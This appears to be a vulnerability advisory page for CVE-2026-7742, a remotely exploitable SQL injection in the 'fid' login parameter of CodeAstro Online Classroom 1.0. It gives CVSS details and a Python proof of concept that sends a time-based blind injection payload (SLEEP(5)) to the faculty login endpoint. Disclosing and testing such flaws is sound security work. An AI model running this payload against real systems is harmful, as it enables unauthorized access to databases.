Security Vulnerability Report
中文
CVE-2026-7742 CVSS 6.3 MEDIUM

CVE-2026-7742

Published: 2026-05-04 08:16:03
Last Modified: 2026-05-04 15:17:59

Description

A flaw has been found in CodeAstro Online Classroom 1.0. The affected element is an unknown function of the file /OnlineClassroom/facultylogin. Executing a manipulation of the argument fid can lead to sql injection. The attack can be executed remotely. The exploit has been published and may be used.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CodeAstro Online Classroom 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration target_url = "http://target-ip/OnlineClassroom/facultylogin" # Malicious payload for 'fid' parameter (Time-Based Blind SQLi) # Attempts to delay response if the condition is true payload = "1' AND SLEEP(5)-- -" # Simulate a login request with the injected parameter post_data = { "fid": payload, "password": "random_password" } try: print("[*] Sending payload to target...") response = requests.post(target_url, data=post_data, timeout=10) # Analyze response time to check for blind SQL injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Server response delayed.") else: print("[-] Payload did not trigger a delay, check manually.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

References

Raw JSON Data

JSON
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